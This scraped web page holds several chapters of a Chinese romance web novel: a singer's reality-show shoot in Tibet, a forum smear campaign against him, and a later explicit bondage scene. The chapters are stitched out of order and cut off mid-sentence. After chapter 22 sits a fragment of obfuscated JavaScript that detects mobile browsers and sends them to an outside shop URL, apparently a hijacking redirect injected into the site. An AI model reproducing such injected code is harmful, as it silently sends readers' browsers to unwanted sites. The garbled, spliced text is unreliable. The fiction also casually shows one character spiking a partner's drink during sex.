可费薄林记得温伏的头发很柔软,十年前如此,十年后的现在也依旧这么觉得。 乱是乱了些,但很好摸。 他克制地摸了一会儿,认为时间差不多了,轻声道:“等你回来……我们就搬家。” 新家短时间内规划不出来,先搬回费家的庄园好了,费薄林多年来一直有意地忽视那个地方,把它放在那里不管不问,那么久没回去,光是找人打扫收拾也得要一两个周。 刚出云河颂没几分钟,秘书打电话过来。 彼时费薄林刚上车,还操心着温伏第一次上真人秀的事,心情不是很好,接起电话的语气也低沉沉的:“怎么了?” “费董……”秘书顿了顿,如实汇报,“许威下午又过来了。” 这次许威学聪明了,守在费薄林公司楼下,专挑着费薄林走了以后进去闹,保安一来赶他就跑,跑累了再让人拎出去,总之不图讨个好处,就为了鱼死网破,把工作地点搞得乌烟瘴气,专给费薄林添堵,还放言“报警也没用”,他要是进去了,就换自己爹妈来闹,爹妈进去了,还有个姑姑许琳。 许威有胆子把许琳搬出来,那就是触费薄林的逆鳞。 费薄林本就不太明媚的神色又暗了一层,声音也随之冷淡不少:“他既然不满意,就把房子也收了。这个月之内赶出去。告诉他还有下次,店面也不用留了。” 许威这么多年肆无忌惮地闹,到底是仗着费薄林顾全费家的体面,以为他不会把事做得太绝。一别数年,许威从除了上次在公司见到费薄林,更早以前就是对方才读大学那会儿。 经年不见,没亲眼目睹费薄林是 20. 第 20 章 [] 早上八点,藏区的天蒙蒙亮,阿尕吃过了早饭,跟着母亲一起去铺床。 厚厚的藏毯拿了五床,铺在二楼三个客房的五张床上,为了迎接下午即将到来的五个客人。 阿尕的家有两层,是这一片居住区最大的房屋之一,偶尔租给来往的旅客留宿,还有一部分镇上的房子拿去做了旅馆。不久前一堆外地的人驱车来到这里,找到她的父母。 阿尕会一些汉语,学校有汉语课,爸爸请的家庭教师也会教,那天她和两个哥哥一起趴在门外时,听到那些人说着“节目”、“借宿”和“租金”之类的话。 下午五点,三辆越野驶入牧区,阿尕躲在自己房间的窗户后看见了那几个客人,还有十几个驾着摄像机与各种拍摄道具的大人。 车上一次下来了三男两女,每个人身边都跟着一个摄像师。阿尕注意到,他们每个人都很白,比本地的人肤色亮了几个度,五个人都是很小的脸,修长的身材,脸上镶嵌大而漂亮的五官。 阿尕的五官也很大,可大而漂亮的只有眼睛,阿妈说她的眼睛是高原上最耀眼的黑宝石。除此之外她还有一双厚厚的嘴唇和一个塌到看不出鼻梁的鼻子,阿妈说小孩子都这样,等阿尕成大姑娘,嘴唇就薄了,鼻梁也就出来了。 阿尕睁大她黑宝石一样的眼睛观察每一个从车上下来的人,摄像机对准的男男女女身上都背着背包,一下车就拿着瓶子吸氧,阿尕知道这叫高原反应。外地来到这里的人很多都有高原反应。 直到最后一个人下车,阿尕发现,他既没有背背包,也没有拿氧气瓶,身上穿着一件薄薄的羽绒服,人也薄薄的,头上戴着一顶漆黑的毛线帽子。 毛线帽的边缘压不住他飞翘的头发,隔得很远,阿尕也能看到那个人羽绒般的眉睫。 他比周围其他人的沉默许多,刚下车时没有像前面的客人们那样四处张望着打量阿尕的家的院子,而是转头到车后搬运行李。 男人一言不发地穿梭过所有镜头的背景层,在摄像机拍到的角落留下一抹一闪而过的残影,兀自打开后备箱,挨个取出行李。 一个,两个,三个,四个,五个。 正当阿尕觉得那里的行李多得永远也取不完时,车子前方那些人终于回过神来,一起手忙脚乱地过来搬行李。 原来不是他一个人的啊。 阿尕正想着,搬完行李的男人突然朝她的方向抬头,兴许是感受到她的存在,男人的目光穿透两层楼之间的空气,直指她而来,简直敏锐得像无人区的野生动物。 六岁的阿尕一下躲到窗帘后方,心有余悸地不敢探头。 那个人若有所思地对着窗户看了片刻,收回视线。 等阿尕壮起胆子再往外看时,他们都进去了,院子里只有摄影组的人在外驾着设备取景。 很快楼下传来嘈杂的招呼声,是客人们在跟阿爸阿妈礼貌问候,接着他们上楼,各自寻找各自的房间。 二楼的房间被划分出拍摄区和禁止拍摄区,阿尕和家人的房间在禁止拍摄区,因此摄影师和节目组安装的摄像头都避开了这里。 她悄悄推开一条门缝,从门缝里窥到很多杂乱的脚步,客人们商量着如何分配房间,那个男人安静地站在最左边,有人偶尔朝他发问:“你觉得怎么样?温伏。” 他就微不可察地点头:“我都可以。” 阿尕第一次听见他的声音,清澈,干净,像山涧的泉水。 就在阿尕出神的这一瞬,叫温伏的人略一侧头,把视线投向了她的方向,捕捉到门缝后的小小的阿尕。 一大一小两双眼睛隔着人群对视,阿尕仿佛看见草原上的另一对漆黑的宝石。温伏乌长睫毛下的双眼没有任何情绪,与她在一刹的交接后便错开目光。 最后他们商量好,年纪最大的男演员独住单人房,剩下的两男两女按性别双双一间。分配好住所后,他们下楼,阿尕闻到楼下酥油和奶茶的香气,她知道家里又有粮食要被浪费了——初来乍到的客人们基本都喝不惯这里的茶,阿爸阿妈却会总是热情地给所有人倒上满满一杯,接着在充斥着欢声笑语的寒暄和问候中,眼睁睁看着每一杯茶在被品尝一口过后就搁置冷却,最后难免逃不过倒掉的命运。 所有被浪费的茶都是旅客们好奇心的过滤。 阿尕扒着楼梯拐角处的扶手,在一根根交叠的木柱后观察着一楼的人。 五个客人在长长的藏床上坐成一排,最中间的男人阿尕很眼熟,她时常在阿爸打开的电视剧里看到他,那是阿爸最喜欢的男演员,鹰钩鼻,深眼眶,虽然看起来上了年纪,但依旧很帅气。 年长的中年演员作为大哥,主动扛起了打热气氛的职责,与身为东家的阿爸阿妈友好交流着。左右两边按照年龄辈分依次坐开,温伏还是静静地待在最边缘的位置,不搭话,但认真听着身旁人的交谈。 很快阿妈给他们端来糌粑,这是草原上最受欢迎的下午茶。 同行人里有一个年纪稍长的女演员,阿尕听到那几个后辈叫她“琳姐”,中年男人叫她古琳。 显然古琳不是第一次接触这边的风俗,在糌粑端上来以后,她熟练地端起碗,用手揉捏碗里的糌粑,并耐心低声教身旁的后辈如何食用。 温伏在最边上,离古琳之间隔着两个人,周围的镜头集中到了古琳那里,他不知道怎么吃糌粑,被挤到镜头外以后也朝古琳的方向倾身听着,一板一眼地学习。 捏糌粑其实很简单,一勺酥油,倒一点奶茶,抓一把青稞粉,就着茶汤空手把糌粑捏成团,不用在意美观,捏好之后就能直接吃。 外来游客眼中这做法有些脏手,不过这算是节目录制开始的第一个看点,客人们不扭捏,在洗过手后就开始各自忙活。 认知与上手总归是有差别,捏糌粑看着容易,第一次接触的艺人在手放进碗里时难免产生难以言喻的感觉,两个年轻艺人一时没控制住表情,脸上神色都有片刻异样,完全没人注意到,在无声的角落里,温伏已经吃完自己捏的第一碗糌粑,正张大手掌抓第二把青稞粉,同时偷偷往自己的奶茶和糌粑碗里各加了三大勺白糖。 糌粑混着酥油和奶茶,之前喝不惯茶汤的人自然也吃不惯糌粑,年长的古琳和那位大叔男演员经历丰富,对此见怪不怪,谈笑间用完了这顿下午茶,除此之外,年纪小的另一个女艺人很礼貌地坚持吃完了自己那一份食物,而另一位年纪小的男艺人则意思意思吃了两口就不再理会。 温伏在倾听大人聊天的过程中,默默吃完了两杯奶茶和三份糌粑。 等他察觉阿尕的阿妈在一旁笑眯眯的目光时,忽然想起费薄林教他的礼节。 做客别人家里,多少还是要客气一些。 于是停下了第四次准备伸向青稞碗的手。 在得知两个小时后还有晚饭并且晚饭是烤全羊时,温伏一整天都没什么波澜的脸上划过一丝意外和懊悔。 阿尕在楼梯拐角处,把他变化的神情尽收眼底。 她捂住嘴悄悄笑——这个哥哥像个笨蛋,以为糌粑就是他们的晚饭。 不出意料的,最能吃的温伏在众人大快朵颐的晚宴上难得地没怎么动筷,下午吃进去的三碗糌粑使他面对一桌烤得流油的肥羊有心无力。 眼睛饿,肚子饱。 无奈之下错过晚饭,温伏顶着一肚子糌粑撑到晚上十一点,成功地饿了。 同行那个男艺人刚上床入睡,房间里关了灯,温伏在床上辗转一会儿后,掀开铺盖下床,打开费薄林给他整理的行李箱,拿出一小包搭配好的零食。 窸窸窣窣的声音引起同伴的注意,温伏知道晚餐时跟他一个房间的那个人也没吃多少。他蹲在行李箱前,转头看向另一张床,对方侧躺在枕上,双目炯炯地望着他。 他举起那包零食袋:“你吃吗?” 节目组这个点已经停止了拍摄,只有安在每个房间的摄像头还保持着红外记录。 男艺人迟疑了几秒,看了一眼摄像头,最终摇了摇头:“我吃饱了,不饿。” 眼前的人叫季杰,是个刚出道没多久的新人演员。温伏记得出发前几天Stella跟他提过,季杰是古琳新公司旗下签的第一个艺人,这次参加综艺就是跟着自己老板混脸熟,属于老带新。 古琳对自己手下的艺人要求极其严格,不管是业务能力还是形象管理以及私生活方面,在有前两年那些塌房流量的前车之鉴的情况下,现在更是不允许艺人出现半点差池。她和Stella在工作风格在监管方向上如出一辙,这也是两个女老板一拍即合的原因。 季杰年纪比温伏还小两岁,一米八的个子,晚上就吃几口羊肉,要真说饱了是不可能的,想必是顶头上司就在隔壁,就算想贪嘴也没胆子,所以才拒绝了温伏。 温伏没有再次邀请,换了裤子,在睡衣外头裹上羽绒服,拿着零食走了出去。 留在房间里,就算不吵到季杰,也难免有点诱惑的意思。本来节食就够难受了 21. 第 21 章 [] 与此同时,一个与温伏有关的帖子在论坛发酵。 一晚的时间,舆论慢慢引爆了。 第二天早上六点半左右,费薄林刚刚起床,张朝几乎掐着他醒来的点发来消息。 因为心里多少清楚费薄林和温伏的关系没有表面那么简单,所以张朝给费薄林发消息时选择开门见山附了一堆链接过去。 【张朝:费董,温伏那边出现了点情况】 【张朝:[图片]】 【张朝:[图片]】 【张朝:[链接]】 【张朝:[链接]】 费薄林依次点开,第一张图片是某个论坛的首页,界面上密集地飘着关于温伏的帖子,话题指向很明确,似乎都是在讨论某张照片,并且每个帖子都有很多高楼回复: 【我靠,这到底是他什么时期的……】 【坏了,这下真让cp粉吃到饭了】 【所以是不是可以证明此祁彼伏是真的】 【祁一川没惹,能不能别带】 【李涛,他这是被包养还是单纯卖身】 【这算不算海棠文学照进现实】 第二张照片则是某一张帖子的详情,页面左下角显示回复已经超过了两千,很明显这个帖是所有话题的发源地: 【在我哥手机里找到那张照片了】 下面的两个链接则是论坛的地址和那张帖子的网址。 费薄林直接打开第二个链接进入那张帖子。 【@八十万禁军总教头林黛玉[楼主]:不知道还有没有人记得,之前在温伏那个帖子我说我在我哥手机里看过他的照片,因为太好看所以记了很久,但是不知道竟然是个明星。今天我哥回来,我让他翻给我看,没想到那张照片他还存着,有粉丝认一下吗,这是不是温伏。 [图片]】 这是一张费薄林没见过的照片。 照片拍摄的角度是在侧面,拍照的人离得有些远,因此特意拉近了镜头,有些细节就比较模糊。毫无疑问能看清的是照片上的温伏坐在灯红酒绿的卡座里,仰着头,双眼下垂,眉毛微皱,说不清楚是否不悦——因为他面前站着一个手拿啤酒瓶的男人,正捏着他的下颚往他嘴里灌酒。 男人背对着镜头,没拍到脸,看打扮身形应该很年轻。 而温伏不管脸上神色如何,动作间都没有反抗。 这不是近期的温伏,费薄林一眼看出来,镜头里温伏还穿着费薄林的旧卫衣。 这是大一时候的温伏。 费薄林随便扫了一眼评论区: 【[1楼]@momo:我去……这就是他吧,热搜预备 [2楼]@荞麦面不要葱:看着不像啊 [3楼]@撒西内:这画质都快包浆了,粉丝立马来洗不是我们哥哥 [4楼]@我推厚度一厘米:他在内娱不是操的社恐人设吗,私底下玩这么开 [5楼]@妙妙娃头上顶呱呱:这年头208立的人设还有几个能信 [6楼]@momo:海棠文学照进现实了,海棠文学真的照进现实了 [7楼]@三阿哥今年几米高了:这算不算一款强制爱万人迷受 [8楼]@住不下那么多人:这是一场嬷嬷的狂欢…… [9楼]@捆绑我担全家暴毙:难怪前段时间高定一套一套的,该不会是有金主吧 [10楼]@三傻(已登基):幻视一些为钱卖身包养文学 [11楼]@林萧(不骂人版):随即抓一个此祁彼伏cp粉采访一下感想】 再往下翻,就是许多不堪入目带着羞辱和嘲讽性的评论了。偶尔有几条帮温伏说话的,很快也淹没在更难听的嘲讽和回复里。 张朝的电话很快打进来:“费董,需要联系Stella那边处理舆论吗?” 费薄林思考了片刻,开口时语气还维持着冷静:“第一时间联系经纪团队,直接对接经纪人,她们对处理舆论有经验。如果有资金方面的困扰可以跟思服上报,理由就是不能影响演唱会投资。” 温伏的公司高层与Stella团队之间的内部矛盾,费薄林或多或少有所了解,指望那样一群人出钱出力给温伏公关或是控制舆情几乎不可能。不过究竟要如何应对,是利用这次空前的热度扭转舆论还是一味镇压,都得交给更有经验的经纪团队来决定,只有一点。 费薄林叮嘱道:“尽可能最大化减少负面影响。” 考虑到温伏现在正在录综艺,许多消息无法及时接收,他又补充:“如果需要我帮忙的地方,让她们尽早开口。关于小伏的任何情况也可以来问我。” 意思是尽量不要去打扰温伏。 费薄林挂了电话,在洗手台前站了许久,又拨给秘书:“把接下来一周要处理的文件和会议在九点以前传输给我,能提到今天进行的就在今天进行,无法提前的就推到下一周,时间不能变动的会议也整理出来,附上原因和会议内容。” 晚上八点,连续工作了十二个小时的费薄林坐上去往川西的私人飞机,并在飞机上吃了今天第一顿午饭。 九点,飞机降落在康定,天上正下鹅毛大雪。 费薄林走下飞机,先呵出一口雾气。他没想到这里会冷成这样。 张朝给他发来节目组的联系方式,告知他公司那边已经跟制作组协商好,等他到达录制地点后,剩下的这几天费薄林就可以以工作人员的身份陪同录制,并附上了在十分钟前定好的酒店地址和接机司机的电话车牌,同时张朝告诉费薄林,考虑到这边的天气情况,他已经联络托人买好了在严寒天气下专用的保暖服,今夜就会送到酒店。 这次走得太急,费薄林行李箱里除了一些贴身换洗衣服和洗漱用品以外什么都没带,剩下大半箱行李全是给温伏带的零食。 “好,辛苦了。”费薄林难得如此直白地赞赏手下员工,他听到对面呼吸顿了顿,又问道,“节目组……今天录制结束了吗?” 按理这样的问题已经不在特助的工作处理范围,但张超在费薄林手下工作了那么些年,早已经练就了全方位考虑的工作思维,不可能让上一回的工作失误再出现。他立马回答道:“刚才问过节目组了,今天晚上的录制本来计划是在户外进行,但突发极端天气,他们那里下起了大雪,对信号和机器干扰很大,摄影组无法工作,所以录制推迟,今晚计划提前休息。” 费薄林边听边跟着接引往外走,听完张朝的话点了点头,又问:“艺人经纪团队那边怎么说?” 早上舆论发酵时,思服的人第一时间联系了Stella那边,当时Stella正跟公司高层打电话进行博弈。 经纪公司的态度是不愿意出面解决的,不要说降低舆论,他们甚至认为可以任由照片随意发散。原因是他们认为温伏作为演唱歌手,本身就缺乏一定流量,借助一些无伤大雅的花边新闻扩大名气,黑红不论,反正以后有了作品大众很快就会遗忘黑料。对于内娱艺人来讲,最重要的是在大众认知里混眼熟,明星不怕有黑料,就怕黑料都没人涛。 不仅如此,他们还在Stella面前进行了一通对温伏的声讨,什么对公司造成负面影响、有损团队名声、不利于后续活动招商……都是其次,主要目的就是表达打压温伏和Stella团队的想法,甚至想等事态进一步发散后,使进入低谷期的温伏与公司签订续约合同,还能趁机会把合同签约条件制定得更严苛一点。 换做以前,Stella也许还会气急败坏,跟人面红耳赤吵一通,现在她只是静静躺在自家沙发上,听电话那头装腔作势说完以后,淡淡问道:“合约条款第五项第七条,甲方有义务为乙方进行任何突发舆论处理,必要时使用法律手段维护乙方合理利益 22. 第 22 章 [] 今夜雪太大,车开到了镇上就无法继续前进。 费薄林站在酒店门口,本想着既然不能去找温伏就先不要打扰,等明天跟剧组一起过去再说。 可鬼使神差的,这通电话就这么拨了出去。 温伏的语气听起来懵头懵脑:“……薄哥?” 寒风呼呼地吹,扎在人身上刮得脸疼。 酒店的服务生打开大门询问费薄林要不要进去,温伏在电话那头听到了很地道的藏腔,忽然问:“你来了?” 他的脑筋在某些时候总是转得很快。 “嗯。”费薄林一面进入酒店,一面应他,“这几天公司没事,就来看看你。” 温伏眼睛里一下有了神,刚想问他在哪里,又听费薄林说:“雪太大了,今夜上不来。我在酒店待一晚,明天来找你。” 温伏眼睛又垂下去,低声问:“跟节目组一个酒店吗?” “嗯。” 两个人又说了几句,都是费薄林问,温伏回答,主要还是在试探温伏知不知道今天论坛发生的情况。从温伏的情绪和说话的内容看,应该是没人告诉他的,不过具体还是要等见面才能判断。 结束了通话,周纪忙着跟制作组一起离开,哪知道大雪干扰了路况,既然费薄林上不来,那他们自然也下不去,于是只能临时找住所凑活。 温伏又陪阿尕完了几把花绳,但相比之前,总显得无精打采,几次都在走神。 有一回温伏举着花绳子等阿尕来翻,阿尕故意坐着不动,半晌也没见温伏的反应,只瞧着温伏对着手上的花绳发呆。 阿尕伸出五指在温伏眼前晃了晃,温伏才回神:“该我了?” 阿尕瞥撇撇嘴,收了温伏的花绳,问他在想什么。 温伏扭头盯着屋外,良久,小声说:“我想去镇上。” 阿尕在他眼里看到了这两天从没出现过的孤独神色,即便来到这里当日,在整个录制过程充当背景板、多数时间里一言不发,温伏也没露出过若有所失的表情。 阿尕凑到温伏跟前,观察他的眼睛:“很想吗?” 温伏一转头,瞥见阿尕两颗澄澈的眼珠子,还有晒得微微发红的麦色皮肤,承认道:“很想。” 阿尕起身跑了出去。 没过多久,阿尕牵着自己的二哥站在门外朝他招手。 阿尕的二哥比温伏小上十岁,皮肤黝黑,个子高瘦,见到温伏就腼腆一笑,并不说话。 两个人带着温伏走向养马场——他们今天来过这里,上午的录制内容就是去牧区感受骑马,温伏当时学得很快,一个上午的时间已经能骑着一匹成年马绕场奔跑。 二哥拿着钥匙开门的当儿,阿尕告诉温伏,这里有一只属于自己的小马。阿爸阿妈承诺她,等她到了八岁,她就可以坐在马背上学习骑马。 很快温伏看见了那只所谓的小马,健壮,挺拔,棕色的皮毛油光发亮,已经有一人高。阿尕说它才三岁半,尚未成年。 如果是大哥或者阿爸阿妈,是不会允许阿尕把她的马借出去的,何况还是借给录制节目的客人,如果出了事故,没人担得起责任。 可家里就是这样,有人严谨,就有人温和,阿尕第一时间就找到了最好说话的二哥,让温伏坐上了她的小马。 “你要安全地回来。”阿尕给他戴上手套,一笑就露出两颗还没换好的牙,“不然我会挨骂噢。” 温伏摸摸马背,冲她很认真地点头。 趁所有人不注意,一匹棕马冲出马厩,朝连绵的山路奔去。 这里到镇上并不远,只是天气影响太大,车子行驶不动。 温伏奔向费薄林的路贯穿了二十里的大雪,马蹄和心跳声交鼓在风中,一切阻力都变得苍白而无用。 二十里外的费薄林仿佛听到了远方的赶路声,踏入这间在本地来说已算条件最好的酒店房间后,径直走到窗边,望着雪白的窗外默默不语。 门没有关,像是在冥冥之中等待着什么。 寂静之时,他的手机响了起来。 - 温伏在空无一人的酒店外下马,大街上的雪混着风吹成了白色的气流,他独自走上前拉开门,拜托服务生帮自己把马牵去可以存放的地方,好在酒店后方有一个院子,放是可以放,不过服务生礼貌问了他是否有预定房间。 温伏愣了愣,想起自己没问费薄林的房间号,于是摘下手套,从包里掏出手机,对服务生说:“请等一下。” 他打开手机屏幕,先擦了擦眼睫毛上的雪——乘风跑来一路,头发和眉毛都冻硬了。 电话拨过去,费薄林的手机却在通话中。 温伏挂掉后,又去找张朝的联系方式。 他不记得自己何时糊里糊涂添加了张朝的微信,在他的记忆里,并没有自己跟张朝互换联系方式的这一幕,但对方的微信就是有一天莫名其妙出现在了自己的好友列表——似乎就是在费薄林第一次去他家,用他的手机定闹钟以后。 因为不清楚现在是否在张朝的工作时间,所以温伏选择了发信息询问。 那边几乎是立马给了回复,并且简单明了地发送了费薄林的房号。 光知道房号不够,如果没有进行身份登记,就需要先行打电话问过房间主人,工作人员才会允许温伏进去。 下一秒,站在酒店前台的经理的手机就响起了铃声。 温伏还没对服务生说完房号,经理就走过来,表示自己带他上楼。 一径上了电梯,从楼层出来后,温伏把经理留在了电梯里,打算自己一个人去找房间。 这座酒店并不是很大,走廊上也没有七拐八绕的空间,温伏看过平面指示图,就照着标注往费薄林的位置前行。 窝在店里躲雪的客人很多,基本没人出去,走廊上人来人往,温伏出门没戴口罩,偶尔一两个跟他擦肩而过的游客频频回头,疑似认出了他。 如此几次后,温伏反应过来,干脆把冲锋衣拉链拉到最高,遮住自己下半张脸,面无表情地经过每一个朝他投来好奇目光的人,满脸写着“全世界都与我无关”。 没过两分钟,他就在前头看到了相应的门牌。 费薄林的房间门开着,温伏靠近时,听到里面传出模糊的通话声。 他来到门口,发现费薄林背对大门站在窗前,走廊和房间里都有暖气,所以对方脱了外套,只穿一身还没来得及换下的西装马甲,一只手插在西装裤里,裁剪得当的衣料勾勒出恰到好处的宽肩和一截挺拔腰身。 费薄林没有察觉到温伏的到来,站姿随意,微微低头看着楼下雪景,正用没有波澜的语气接着电话。 “……嗯,黛姐不用客气。” 听起来不带任何情绪,只是出于礼貌的回应。 “……小伏的事我都有义务和责任,这不算帮忙,是公司应该的。” “……信?” “……我收到了……没关系,是应该的,毕竟那个时候我也不够稳定。” “……小伏不知道就够了。” “……他一直以为当年我只是有事没处理,所以没去找他。” “……没有的事。” “……不用抱歉。如果不是黛姐当年……我大概真的会忍不住去接他回来。” “……八年前不骗他,他不会愿意上飞机。” “……这是我主张的,不让他回来也是我决定的,跟黛姐你无关。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707412|117753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过集中导致温伏洗完了澡来到他身后他也没有察觉。 正当他盯着购物页面思索下单时,温伏忽然把脑袋从后方放到他肩上:“薄哥,在看什么?” 费薄林啪的一声合上平板套子。 他假装镇定地回过头,摘了眼镜问:“怎么不出声?” 温伏瞅瞅他,又敏锐地瞟一眼他手里的iPad,一声不吭转过去,四仰八叉往床上一倒——他穿着费薄林高中时的衣服,下半身什么也没有。 前几天费薄林突发奇想要给他下头剃毛,温伏虽然对此癖好不怎么理解,但还是依了。结果剃完毛没几天温伏穿裤子老觉得别扭,渐渐地洗了澡就不乐意穿裤衩了。 反正穿了没几分钟还得脱。 他仰躺在床上片刻,听见费薄林把iPad放到桌上的声音,自觉把自己翻了个面。 …… 这天是他俩回锦城的第三天,天气热,费薄林在客厅处理邮件,温伏窝房里半天不出来——不排除是费薄林从早上七点到下午四点一直工作没顾得上和他说话的原因。 四点半,费薄林接到张朝的汇报电话,谈论关于公司各个达人分类板块的指标和完成情况。 这边手机铃刚响起,那边就有人按门铃。 费薄林接了电话正打算起身开门,温伏跟个小旋风似的从卧室刮出来飞快把门打开。 看样子是小区物业送快递来了。 温伏从门外人手里签收了快递,把门关上,靠在沙发扶手边就着地毯盘腿而坐。 费薄林瞧他专心致志拆快递,也就收回目光,继续跟张朝聊工作了。 过了不知道几分钟,再一抬眼,费薄林整个呼吸凝滞。 温伏脚边摆满了各种手铐脚铐和皮鞭,此刻正把快递盒里最后一样东西往自己脖子上套。 那是一个皮质颈环。 重点是,所有的东西,都是他先前浏览很久正准备下单却意外被温伏打断没来得及下手的。 “你在做什么?”费薄林喉结滑动,双目盯着地上的温伏,声音听起来仍旧很冷静。 以至于让电话那头正喋喋不休的张朝停下来:“啊?我吗?” 费薄林没回应。 沙发旁边,坐在毯子上的温伏也没吱声。 他正忙着埋头捣鼓,但很明显没捣鼓明白手里的东西。 温伏“咔哒”一声把颈环在自己脖子上扣好,兴许是抱着试试的想法验验货,验货完就想解开,伸手去解扣子时却发现扣子和解锁的位置并不相同。 他的身影僵了一下,大概是考虑到费薄林在场,不想丢面儿,故而解不开也不寻求帮助,尤自强行镇静地固执着掰弄自己脖子下的锁。 奈何不管怎么生拉硬拽,温伏就是打不开。 感受到身后书桌前费薄林莫名灼热的目光,在直觉的指使下,温伏安静了一秒。 接着他像野生动物面临逃亡时被激发出本能那样,先一动不动蛰伏片刻,随后出其不备,嗖的一下快速地抓起连接着开关的牵引链起身跑进房。 费薄林的视线随着温伏的背影移动,一直到人进了走廊消失在视野,也没收回。 “费董……费董?”张朝的呼唤还在听筒里持续,“那个……我们刚才……” 费薄林打断他:“还有事吗?” 张朝:? 作为一个经验丰富并且跟随费薄林多年的特助,张朝第一时间反应过来:“有是有,但不是很急,您如果有急事——” “先挂了。”电话那端传来椅子被推开的闷响以及费薄林最后的声音,“我这边很急。” 102.第 102 章 温伏窝在房间沙发前的地毯上,使劲捣鼓他脖子的上的锁链和颈环。 门关得死死的,但他并未反锁,外边的人只要打开就能进来。 走廊上的脚步声渐渐逼近,刚开始分明很急,靠近房间后反倒减缓了。 过了会儿,房间门被轻轻敲了两下,费薄林的声音隔着门传进来:“……妹妹?” 温伏还垂着头专心研究他脖子上这堆玩意儿,对此也只是拖长语调应了一声:“嗯?” 没什么情绪。 费薄林这才把门打开。 他的猫把自己套住了。 费薄林意识到这一点的时候,喉结不经意地滑动了一下。 他慢慢走过去,望着温伏脖子后方还没被发现的锁扣,落座到温伏身后的沙发上,抬手覆盖住那个地方。 温伏白皙的脖子和黑漆漆的后脑勺暴露在他视线里。 费薄林问:“解不开?” 温伏的注意力集中在自己面前,对自己身处的境况毫无任何察觉,只是点点头。 费薄林的手指在皮质颈环上摩挲:“我来试试。” 温伏扭过头抬眼瞧他。 费薄林往后退了退,打开膝盖,往自己两腿间的沙发上拍了拍。 温伏转过来,卡进他两条腿中间,坐在地板上,仰起脖子等费薄林给自己解开。 扣子要解其实很容易,凭费薄林手指的灵活劲,把手伸到温伏后颈两秒不到就能完成。 他低下身,凑到温伏下巴面前,双手在温伏喉结处那个扣子上忙活,一副就是解不下来的姿态。 温伏也不催,费薄林的呼吸拂过他的侧颈,感觉到痒,他就对着天花板眨眨眼。 皮质颈环的质地虽然柔软,但温伏对自己下手并不留情,先前捣鼓那半晌功夫,已经让他的脖子被勒出了浅浅的红痕。 费薄林做出认真解扣子的模样,指尖则扫过温伏的勒痕,低声问:“怎么突然买这些?” 温伏原本两眼放空,这会儿又瞅了瞅费薄林,简略地回答道:“你想买。” “我想买你就买。”费薄林明知故问,“知道是做什么的吗?” 温伏不说话。 他不说话,费薄林就知道他的答案了。 温伏又不是傻子,买东西的时候商品详情页不看,难不成还会不看商品名称吗,大不了是看到商品名字了,愿意买下来陪费薄林玩,但其实并不完全明白到底怎么玩。 费薄林把他脖子下的颈环摸了一遍又一遍,指腹在中部的钢圈上打着转:“我把外面的东西清干净,咱们先试一次。” 温伏的目光终于从天花板移到费薄林的脸上。 - 三个小时后。 费薄林下半身围着浴巾,神清气爽地跪立在床尾。 温伏半张脸埋在被子里,正陷入昏睡。他的一只手被手铐拷在床头,裸/露出的皮肤所见之处是或轻或重的各种痕迹,费薄林从头到脚欣赏够了,倾身下去,意犹未尽在温伏鼻尖上啄了一口,得到的是一声似有若无的呢喃回应。 床下散落一地的道具用品,床头摆着半杯温水,里头兑了点费薄林中途喂给温伏助兴的饮料。 他解开温伏的手铐,把被子拉到温伏腰上,下床挨个收拾起那些在过去三个小时里被他们俩无意间震下床的玩意儿,一块放到卫生间准备清洗。 接着费薄林去浴室放好水,准备带温伏洗澡。 刚从浴室出来,就看到温伏在床头坐起来,两眼发直盯着他。 费薄林:“……好了,待会儿就给你做。” ——让猫陪玩是有代价的,天下没有白吃的午饭,而费薄林的代价就是答应温伏晚餐亲手做四个西多士,并且对此永久保密。 毕竟西多士这种高油高甜的糖油化合物,温伏就是偷吃一口Stella也能在三天后从他的呼吸里分辨出来。 但是经费薄林改良过的西多士则不会过甜也不会过油,他在煎吐司胚的过程中把一部分黄油替换成了牛奶,煎好后又适量塞一点炸好的肉松,中和了过分的甜味之后,温伏一顿就能吃四五个。 重点是吃多了Stella也察觉不出来。 至于这样的口味别人爱不爱吃就不清楚了,这是费薄林专门根据温伏的反馈调的。 两个人一块儿洗了个澡,费薄林麻溜给温伏洗过头发就要起身去整理房间,温伏则赖在水里不想动。 浴缸虽然是恒温的,呆久了也不好,费薄林看了眼时间,打算十分钟以后再把温伏提出来。 刚进房间,费薄林就察觉温伏放在床上的手机一直在响。 他拿起来一看,Stella的未接电话已经打了九个过来。 费薄林没多想,直接把电话接起来:“喂?” 与其同时,Stella的声音也在那端响起,语气还是那样雷厉风行:“让你哥接电话。” 费薄林愣了愣,Stella在那边也愣了愣。 电话两端不约而同地安静了几秒,接着Stella问:“费董?” “是我。”费薄林瞥向客厅的方向,想起自己的手机一直放在外边,说不定雷黛在打给温伏之前就已经给他打过许多次电话里,“有事吗?” Stella确定接电话的人是他以后就叹了口气:“费董啊,你可真是……” 费薄林一边接电话,一边快步走向客厅,拿起自己放在书架边的手机,根据雷黛的消息打开了微博。 “费伏之言”四个字赫然挂在热搜第一。 往下看,第二条热搜的tag是#费薄林壁纸#。 他皱起眉,点进这个tag第一条实时热门微博是一个很有名的代拍营销号。 【@拍图的聂小倩:出思服传媒执行董事费薄林近日探班路透。阳光下的劳斯莱斯反射出一丝冷冽而威严的弧光,保镖从一侧下车,打开伞静静等候在车外。车门向上划开,车里的人踏出一只脚,随后从车厢出来,刺眼的光线和伞下阴影勾勒出他侧脸近乎完美的线条,金丝眼镜在这一刻泛出一点柔和的微光,架在他那高挺的鼻梁上,挡住了那双深邃的眼。任凭谁站在他面前,也只能仰望着感叹一声,陌上人如玉,公子世无双。 [图片][图片][图片][图片]】 感觉这些形容词排列组合地在卢玉秋高中上课最爱偷看的小说里出现过一万遍。 “……这都写的什么乱七八糟的。” 费薄林嘀咕着,眉头紧皱地看完这一段文案再依次点开图片。 上头都是他前几天参加公司投资的一个电影招商会的下车图,根本不是什么探班,只是他的开会地点恰好和一个现代剧剧组挨着罢了。 这都不是重点,重点是当时他握在手里的手机。 图片里他掌心的手机屏幕一直亮着,估计是下车时不小心点亮的。 